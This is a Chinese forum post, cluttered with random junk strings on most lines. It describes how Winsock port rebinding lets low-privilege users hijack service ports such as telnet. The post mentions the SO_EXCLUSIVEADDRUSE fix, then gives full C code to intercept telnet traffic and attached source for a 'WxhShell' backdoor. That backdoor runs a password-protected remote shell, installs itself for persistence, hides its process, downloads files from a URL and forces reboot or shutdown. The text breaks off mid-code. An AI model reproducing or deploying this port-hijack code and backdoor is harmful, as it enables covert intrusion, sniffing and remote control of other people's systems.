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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: y4=T0[ V  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $GhL-sqm  
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  saddr.sin_family = AF_INET; S&'s/jB  
KilN`?EJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Znh;#%n|  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yWT1CID  
CC$rt2\e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g]BA/Dw  
nT}i&t!q8@  
  这意味着什么?意味着可以进行如下的攻击: Q{miI N  
v5?ct?q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 P"@^BQ4  
TXs&*\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) WqCj;Tj|  
N_+D#Z.g  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 CEzdH!nP  
f^IB:e#j;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Q+_z*  
]'hel#L;l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mGmZ}H'{  
"W9z>ezp  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^![7X'!;pt  
^ 6Yt2Bhs  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VrhHcvnZ  
"kIlxf3  
  #include t47;X}y f  
  #include \DD4=XGA  
  #include :gRVa=}=  
  #include    Tn\{*A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;Cty"H,  
  int main() I\[z(CHg@  
  { ?UeV5<TewS  
  WORD wVersionRequested; i`iR7UmHeR  
  DWORD ret; q,;wD1_wG  
  WSADATA wsaData; 3e\IRF xzb  
  BOOL val; ;.R) uCd{=  
  SOCKADDR_IN saddr; ?T|0"|\"'  
  SOCKADDR_IN scaddr; EyBTja(4  
  int err; E4_,EeC#  
  SOCKET s; cw0uLMqr`  
  SOCKET sc; vuJEPn%  
  int caddsize; {QOy' 8 /  
  HANDLE mt; #)S&Z><<  
  DWORD tid;   7lwFxP5QT  
  wVersionRequested = MAKEWORD( 2, 2 ); aQ&K a  
  err = WSAStartup( wVersionRequested, &wsaData ); XSh [#qJ  
  if ( err != 0 ) { &W `7 b<  
  printf("error!WSAStartup failed!\n"); ]z# Ita;  
  return -1; ''z]o#=^9  
  } ;!3: 3;  
  saddr.sin_family = AF_INET; ? 5OK4cR  
   (FGH t/!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V <ilv<  
S5UQ   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GE !p  
  saddr.sin_port = htons(23); W}%[i+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6%wlz%Fp  
  { "t-9q  
  printf("error!socket failed!\n"); W!+=`[Ff  
  return -1; ;Uy}(  
  } r-]%R:U*  
  val = TRUE; w:=:D=xH2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6 Pdao{P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q{f (T\  
  { rD !GEU  
  printf("error!setsockopt failed!\n"); 2{oQ  
  return -1; oMoco tQ;$  
  } O]!o|w(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 'UuHyC2Ha3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 IQ xi@7%&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D )Jac@,0  
<P]%{msGH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >8$Lqj^i  
  { 4#ikdjB;  
  ret=GetLastError(); }` <D KO/  
  printf("error!bind failed!\n"); >>8{N)c5E  
  return -1; ?<Mx*l  
  } nm %7e!{m  
  listen(s,2); Re*~C:  
  while(1) 4 DV,f2:R4  
  { K7i@7  
  caddsize = sizeof(scaddr); 2dbn~j0  
  //接受连接请求 J L1]auO*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Gj[5e w?@  
  if(sc!=INVALID_SOCKET) |nqN95'u+]  
  { 4.~<|T8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3'SN0VL  
  if(mt==NULL) ,TYFPulYcp  
  { qT#NS&T!-  
  printf("Thread Creat Failed!\n"); MfdkvJ'  
  break; nmyDGuzk  
  } >Y|P+Z\7  
  } by,3A  
  CloseHandle(mt); vRDs~'f  
  } M(^ e)7a1  
  closesocket(s); \#F>R,  
  WSACleanup(); 5%@~"YCo  
  return 0; \H1t<B,  
  }   Tiimb[|  
  DWORD WINAPI ClientThread(LPVOID lpParam) #GUD^#Jh  
  { 4sC)hAx&f  
  SOCKET ss = (SOCKET)lpParam; X[SIk%{D  
  SOCKET sc; d-8{}Q  
  unsigned char buf[4096]; E #!.;AQ  
  SOCKADDR_IN saddr; &(|Ot`el]v  
  long num; (io[O?te  
  DWORD val; 4C*0MV  
  DWORD ret; ,zZ@QW5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^a1k"|E?f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z2#k /3%o=  
  saddr.sin_family = AF_INET; -*kZ2grLt  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @,LU!#y(  
  saddr.sin_port = htons(23); I\IDt~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FiXqypT_(  
  { F4ylD5Y!  
  printf("error!socket failed!\n"); x<.(fRv   
  return -1; *V[I&dKq  
  } HLL=.: P  
  val = 100; pkTVQdtRG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b%d,X-3  
  { `v'yGsIV  
  ret = GetLastError(); ^E~1%Md.  
  return -1; W[>qiYf^b  
  } yDj'')LOQg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Kp;a(D  
  { SQMtR2  
  ret = GetLastError(); a=6@} l1<  
  return -1; `f <w+u  
  } ]]y,FQ,r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HJd{j,M  
  { ?>gr9w\  
  printf("error!socket connect failed!\n"); S9'Xsh  
  closesocket(sc); ;3%Y@FS@  
  closesocket(ss); UVW4KUxR  
  return -1; vjA!+_I6  
  } @twi<U_  
  while(1) r >sXvzv  
  { /fU -0a8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |C0!mU  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 bik lja  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 aa dw#90  
  num = recv(ss,buf,4096,0); BaMF5f+  
  if(num>0) >ZU)bnndA  
  send(sc,buf,num,0); [<d_#(]h'  
  else if(num==0) 6^2='y~e  
  break; %:sP#BQM  
  num = recv(sc,buf,4096,0); "_=t1UE  
  if(num>0) bXqTc2>=  
  send(ss,buf,num,0); 7`^=Ie%(K  
  else if(num==0) +I}!)$/  
  break; 0sCWIGU W  
  } VA %lJ!$  
  closesocket(ss); B$7Cjv  
  closesocket(sc); y k\/Cf  
  return 0 ; 2+*o^`%4P  
  } 05 .EI)7  
lwjA07 i  
6uX,J(V,  
========================================================== 64^l/D(  
7loWqZ  
下边附上一个代码,,WXhSHELL V6kDyl(  
ID<[=es6  
========================================================== KTeR;6oZn"  
k`s_31<  
#include "stdafx.h" 0n={Mb  
90ov[|MkM  
#include <stdio.h> kv2 H3O  
#include <string.h> 2Zg%4/u,Zp  
#include <windows.h> g[\8s~g,  
#include <winsock2.h> -"XHN=H  
#include <winsvc.h> Os!x<r|r  
#include <urlmon.h> 1@F>E;YjL=  
X?(R!=a  
#pragma comment (lib, "Ws2_32.lib") o|_9%o52'  
#pragma comment (lib, "urlmon.lib") _B vGEM`o  
$bN_0s0:'  
#define MAX_USER   100 // 最大客户端连接数 Xo6zeLHO  
#define BUF_SOCK   200 // sock buffer }Nma %6PfV  
#define KEY_BUFF   255 // 输入 buffer EoS6t  
g!)*CP#;  
#define REBOOT     0   // 重启 ]O0u.=1k  
#define SHUTDOWN   1   // 关机 PWO5R]  
Q9Go}}n  
#define DEF_PORT   5000 // 监听端口 def\=WyK  
x&$8;2&.  
#define REG_LEN     16   // 注册表键长度 Digx#'#jf  
#define SVC_LEN     80   // NT服务名长度 !FvL2L  
G+\&8fi0  
// 从dll定义API i?|u$[^=+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kovJ9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .&h|r>*|J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Sw>,Q-32  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t@iw&> 8z  
E5Ls/ H K  
// wxhshell配置信息 $yUPua/-  
struct WSCFG { `3z6y& dmx  
  int ws_port;         // 监听端口 ]?NiY:v  
  char ws_passstr[REG_LEN]; // 口令 tg9{(_ t/W  
  int ws_autoins;       // 安装标记, 1=yes 0=no Zq:c2/\c}  
  char ws_regname[REG_LEN]; // 注册表键名 $J0o%9K   
  char ws_svcname[REG_LEN]; // 服务名 !LsIHDs4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R~;8v1>K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PtGFLM9R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ke)<E98DC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N{6-a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q<yvpT(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t"5ZYa  
R?Ch8mW.!  
}; };f^*KZ=0  
Kp!A ay  
// default Wxhshell configuration UlPGB2B  
struct WSCFG wscfg={DEF_PORT, 3PkU>+.6  
    "xuhuanlingzhe", 08g2? 5w"  
    1, >x ]{c b/m  
    "Wxhshell", U}l=1B  
    "Wxhshell", >GmO8dK  
            "WxhShell Service", o?I`n*u"X  
    "Wrsky Windows CmdShell Service", 8:Dkf v  
    "Please Input Your Password: ", J?1Eh14KZ  
  1, *|gl1S  
  "http://www.wrsky.com/wxhshell.exe", P~PM$e  
  "Wxhshell.exe" n- 1  
    }; ViUx^e\  
}n +MVJ;dG  
// 消息定义模块 (@bq@0g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QoMa+QTuc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4~hP25q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ={jj'X9  
char *msg_ws_ext="\n\rExit."; 5D mSgP:  
char *msg_ws_end="\n\rQuit."; cs4IO O$  
char *msg_ws_boot="\n\rReboot..."; }|j#C[  
char *msg_ws_poff="\n\rShutdown..."; G{zxP%[E  
char *msg_ws_down="\n\rSave to "; _*xY>?Aq  
y`cL3 xr4R  
char *msg_ws_err="\n\rErr!"; '}q/;}ih  
char *msg_ws_ok="\n\rOK!"; Gq7\b({=  
mt[ #=Yba  
char ExeFile[MAX_PATH]; *g4Uo{  
int nUser = 0; ![eipOX  
HANDLE handles[MAX_USER]; HaRx(p0  
int OsIsNt; 5JG`FRW!  
om6`>I*  
SERVICE_STATUS       serviceStatus; Vygh|UEo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b$tf9$f  
nk;+L  
// 函数声明 j|b$b,rF\  
int Install(void); \)2'+R  
int Uninstall(void); Z}3;Ych  
int DownloadFile(char *sURL, SOCKET wsh); Eks<O  
int Boot(int flag); =!/T4Oo  
void HideProc(void); $MM[`^~  
int GetOsVer(void); \@zoM:[sN  
int Wxhshell(SOCKET wsl); \[/}Cy  
void TalkWithClient(void *cs); C\0,D9  
int CmdShell(SOCKET sock); JtF)jRB0,  
int StartFromService(void); 0QEcJ]Qb8  
int StartWxhshell(LPSTR lpCmdLine); TjpAJW@-  
|:`)sx3@#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lGJ&\Lv:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v2YU2-X[  
BLm}mb#/{  
// 数据结构和表定义 ^Gi WU +`  
SERVICE_TABLE_ENTRY DispatchTable[] = 'G`xD3 E3,  
{ yz)Nco]  
{wscfg.ws_svcname, NTServiceMain}, ler$HA%F]  
{NULL, NULL} x$pz(Q&v  
}; _6]tbni?v  
Mv:\T%]  
// 自我安装 upq3)t_  
int Install(void) T`c:16I  
{ 8 v da"  
  char svExeFile[MAX_PATH]; aLwEz}-   
  HKEY key; EWWCh0 {  
  strcpy(svExeFile,ExeFile); JZqJ&   
eUD 5 V  
// 如果是win9x系统,修改注册表设为自启动 m`4N1egCt  
if(!OsIsNt) { GZmfE`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +hs:W'`%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +KIBbXF7  
  RegCloseKey(key); _9S"rH[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q{ { =  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A^4#6],%v  
  RegCloseKey(key); s1X?]A  
  return 0; ^xr & E  
    } m,F4N$  
  } 59V8cO+qH  
} U?EXPi61Z  
else { Bo0T}P~  
V]Uc@7S/  
// 如果是NT以上系统,安装为系统服务 9rM#w"E?<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _# &_`bZH  
if (schSCManager!=0) q{!ft9|K\d  
{ ?` 2z8uD/  
  SC_HANDLE schService = CreateService 7b R[.|T  
  ( i3>_E <"9  
  schSCManager, >=3oe.$)  
  wscfg.ws_svcname, w; :{  
  wscfg.ws_svcdisp, }G"bD8+  
  SERVICE_ALL_ACCESS, A'*#UYn(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LDDt=HEY4  
  SERVICE_AUTO_START, GMpg+rK  
  SERVICE_ERROR_NORMAL, $6d5W=u$H  
  svExeFile, K)eyFc  
  NULL, 1([?EfC  
  NULL, k~JTQh*,w  
  NULL, S=$ \S9  
  NULL, NkAu<> G _  
  NULL LfvRH?<W  
  ); `U>]*D68  
  if (schService!=0) -8S Z}J  
  { >Hd!o"I  
  CloseServiceHandle(schService); hS^8/]E={  
  CloseServiceHandle(schSCManager); EIOP+9zP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C`8.8  
  strcat(svExeFile,wscfg.ws_svcname); jTqE V(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k:&B b"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "}0)~,{x B  
  RegCloseKey(key); Ls&-8  
  return 0; NH'QMjL)  
    } JRDIGS_~  
  } c7R6.T  
  CloseServiceHandle(schSCManager); /^`d o3a}  
} LXRIo2ynuw  
} o3le[6C/8=  
DyRU$U  
return 1; 8(H!iKHe  
} o\nFSG kn  
v\5`n@}4  
// 自我卸载 [MeFj!(  
int Uninstall(void) JE;!~=   
{ cq$ _$jRx  
  HKEY key; E .CG  
d;).| .}P  
if(!OsIsNt) { eqyUI|e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { = @ 1{LF;  
  RegDeleteValue(key,wscfg.ws_regname); hE +M|#o  
  RegCloseKey(key); =r~ExW}+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zOis}$GR  
  RegDeleteValue(key,wscfg.ws_regname); Z jXn,W]~  
  RegCloseKey(key); 35fj-J$8  
  return 0; 2>xEE  
  } Qgq VbJP"  
} |sAl k,8s  
} ,F=FM>o  
else { X6r3$2!  
,oJ$m$(Lj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2rM/kF >g  
if (schSCManager!=0) IG!(q%Gf  
{  y`pgJO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {7EpljH@  
  if (schService!=0) kU{a!ca4  
  { +_ $!9m  
  if(DeleteService(schService)!=0) { Ag;Ybk[  
  CloseServiceHandle(schService); Hr*xAx  
  CloseServiceHandle(schSCManager); 2xv[cpVi  
  return 0; 12}!oS~_  
  } j!IkU}*c  
  CloseServiceHandle(schService);  >Xxi2Vy  
  } SjvSnb_3  
  CloseServiceHandle(schSCManager); dfXBgsc6i  
} :\%ZTBLL  
} (b7',:_U7  
iz27yXHZ~  
return 1; QGnUPiD^  
} 352RJC  
M'@  
// 从指定url下载文件 4!-/m7%eF  
int DownloadFile(char *sURL, SOCKET wsh) ah#jvp  
{ @/='BVb'T  
  HRESULT hr; BoHNni  
char seps[]= "/"; }RUK?:lEA  
char *token; ?JR?PW8  
char *file; <_SdW 5BF<  
char myURL[MAX_PATH]; <lRjh7  
char myFILE[MAX_PATH]; )~ ^`[`  
GGsAisF"N  
strcpy(myURL,sURL); MKX58y{+  
  token=strtok(myURL,seps);  4Gj  
  while(token!=NULL) `X(H,Q}*;  
  { )c<[@ ::i  
    file=token; QvlV jDIy  
  token=strtok(NULL,seps); V%voe  
  } z -'e<v;w  
mJsU7bD`  
GetCurrentDirectory(MAX_PATH,myFILE); X#ud_+6x  
strcat(myFILE, "\\"); UXOf  
strcat(myFILE, file); %kuUQ%W1  
  send(wsh,myFILE,strlen(myFILE),0); Pje 1,B q  
send(wsh,"...",3,0); b.cBg.a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m:cWnG  
  if(hr==S_OK) x.'Ys1M  
return 0; aX*7tRn_%  
else {`9J8qRY  
return 1; y]uBVn'u  
%<MI]D  
} UryHte  
Qa"4^s  
// 系统电源模块 4XSq\.@G  
int Boot(int flag) MTn}]blH  
{ {#z[iiB  
  HANDLE hToken; Xv xrz{  
  TOKEN_PRIVILEGES tkp; A" IaFXB  
so A] f  
  if(OsIsNt) { 07>D G#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VYQ]?XF3i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -#r=  
    tkp.PrivilegeCount = 1; QM{B(zH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sc z8 `%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _!%@V=  
if(flag==REBOOT) { va!fJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xo{z4W  
  return 0; SGpe\P]k  
} (Vt5@25JW  
else { Us3zvpy)o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f+2mX"Z[F  
  return 0; 0"i QHi  
} 8]WcW/1r !  
  } BfQ#5  
  else { o}yA{<"  
if(flag==REBOOT) { )2R]KU_=g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wYh]3  
  return 0; ^CB@4$!   
} y.a)M?3  
else { (mx}6A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5Z13s  
  return 0; Rj-4K@a8#N  
} >n%ckL|rG  
} 9/O\769"'  
/km0[M  
return 1; ZC)m&V 1  
} MF +F8h>/  
+l<;?yk:;  
// win9x进程隐藏模块 )~#3A@  
void HideProc(void) 0I*{CVTQj  
{ MgH O WoF  
t]xR`Rr;X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K\5/||gi  
  if ( hKernel != NULL ) kuv+TN  
  { (>gb9n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'fY29Xr^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H WFnIUv  
    FreeLibrary(hKernel); ;Ehv1{;  
  } m4G))||9Q  
K^%ONultv  
return; m2Wi "X(I_  
} J?f7!F:8  
:v^OdW  
// 获取操作系统版本 COA>y?  
int GetOsVer(void) |43Oc:Ah+  
{ i \@a&tw  
  OSVERSIONINFO winfo; D*ZswHT{y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3u9}z+q  
  GetVersionEx(&winfo); l)Mi?B~N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Oo9'  
  return 1; C%"aj^u  
  else Om2w+yU  
  return 0; Y5<W"[B!  
} :%IB34e  
^-(DokdBn  
// 客户端句柄模块 8#RL2)7Uy`  
int Wxhshell(SOCKET wsl)  x(A6RRh  
{ {Bb:\N8X  
  SOCKET wsh; \Z-Fu=8J8^  
  struct sockaddr_in client; ^[b DE0  
  DWORD myID; M/YS%1  
(.kzJ\x  
  while(nUser<MAX_USER) HaQox.v%  
{ &,$N|$yK}|  
  int nSize=sizeof(client); ra^"Vr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <BK?@Xy  
  if(wsh==INVALID_SOCKET) return 1; ghW  
eqqnR.0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'v5q/l  
if(handles[nUser]==0) B\+uRiD8w  
  closesocket(wsh); i\kDb=  
else fiLlOr%r  
  nUser++; Bx|h)e9  
  } rf]x5%ij  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rg I Z  
|]b,% ?,U  
  return 0; fRp(&%8E  
} X5=I{eY}  
wM! dz&  
// 关闭 socket NBA`@K~4  
void CloseIt(SOCKET wsh) MaZS|Zei[  
{ FDuIm,NI  
closesocket(wsh); G'{&*]Z\:  
nUser--;  |?ZNGPt  
ExitThread(0); ?)7UqVyq  
} 'AZxR4W  
 J {$c|  
// 客户端请求句柄 kT:?1w'  
void TalkWithClient(void *cs) @ 6H7  
{ S]Aaf-X_  
br*PB]dU  
  SOCKET wsh=(SOCKET)cs; &5hs W1`  
  char pwd[SVC_LEN]; Uv!VzkPfo  
  char cmd[KEY_BUFF]; rv2;)3/*  
char chr[1]; v(P <_}G  
int i,j; .d+zF,02Z  
6+:;M b_S  
  while (nUser < MAX_USER) { V9wL3*  
%{0F.  
if(wscfg.ws_passstr) { 'Qg.D88  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); & 5QvUn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x|g2H.n  
  //ZeroMemory(pwd,KEY_BUFF); 8[:G/8VI  
      i=0; Nop61zj  
  while(i<SVC_LEN) { "_:6v64Gx  
yh.WTgcW  
  // 设置超时 'a>D+A:  
  fd_set FdRead; aTs9lr:  
  struct timeval TimeOut; )*aAkM  
  FD_ZERO(&FdRead); 6Ia[`x uL  
  FD_SET(wsh,&FdRead); {"db1Gbfg  
  TimeOut.tv_sec=8; Pav  
  TimeOut.tv_usec=0; zO0K*s.yK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dcfwUjp[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w4l]rH  
4|DN^F~iut  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6xu%M&ht  
  pwd=chr[0]; OXbC\^qo@  
  if(chr[0]==0xd || chr[0]==0xa) { *?+2%zP  
  pwd=0; N:,V{Pw  
  break; 3A\Z ]L  
  } 6rlvSdB  
  i++; ]hZk #rp}  
    } GK#D R/OM  
D[{"]=-  
  // 如果是非法用户,关闭 socket VREDVLQT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A>\3FeU>UC  
} (R(NEN  
Bk5ft4v-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i*mI-l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q+Eqaz`  
^cuH\&&7  
while(1) { T#HF! GH]  
.`oKd@I*"  
  ZeroMemory(cmd,KEY_BUFF); j?VHR$  
ed#>q;jX  
      // 自动支持客户端 telnet标准   ?<^^.Si  
  j=0; ri4:w_/{,Y  
  while(j<KEY_BUFF) { qJR8fQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ] ~ }~d(  
  cmd[j]=chr[0]; >]2^5C;  
  if(chr[0]==0xa || chr[0]==0xd) { [~?6jnp  
  cmd[j]=0; ;HiaX<O!  
  break; -?Cu-'  
  } rY)m"'puP  
  j++; H7f  Xg  
    } wV,=hMTd&\  
!. :b}t  
  // 下载文件 ]-l4  
  if(strstr(cmd,"http://")) { 2~h Q   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s:I 8~Cc  
  if(DownloadFile(cmd,wsh)) JC}T*h>Ee  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6mjD@  
  else `0-i>>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jRxzZt4  
  } jJ?G7Q5 l  
  else { m`jGBSlw_  
K] &GSro  
    switch(cmd[0]) { `R*!GHro  
  jEK{47i v  
  // 帮助 &09G9GsnQ  
  case '?': { 7>-99o^W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l s%'\}  
    break; 6L2Wv5C  
  } E&Sr+D aPD  
  // 安装 @== "$uRw  
  case 'i': { xFyBF[c  
    if(Install()) eGo$F2C6E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4ZB]n,pfT  
    else NU[Wj uLG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >uE<-klv  
    break; .[Ny(X/]/}  
    } >Fc=F#tA9  
  // 卸载 {7Kl #b  
  case 'r': { 8qT^=K $  
    if(Uninstall()) <g, 21(bc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 51'V[tI;8  
    else LtNspFoLb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SA [(1dy;  
    break; B'6(Ao=3/  
    } 9W j9=  
  // 显示 wxhshell 所在路径 %t$)sg]  
  case 'p': { #:Ukv?  
    char svExeFile[MAX_PATH]; {3 >`k.w  
    strcpy(svExeFile,"\n\r"); ,fj~BkW{  
      strcat(svExeFile,ExeFile); T? ,Q=.  
        send(wsh,svExeFile,strlen(svExeFile),0); Ub[UB%(T  
    break; OO;I^`Yn  
    } |2I p*  
  // 重启 4hUUQ;xj  
  case 'b': { Nl{on"il  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e{.P2rnh  
    if(Boot(REBOOT)) xP 3>8Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SnoEi~Da  
    else { ,;yaYF 6|/  
    closesocket(wsh); t<cWMx5ra  
    ExitThread(0); j0S[JpoF  
    } ZOL#Q+U  
    break; 1c`Yn:H^  
    } Q|Nw @7$`  
  // 关机 p(A[ah_  
  case 'd': { _ sBFs.o  
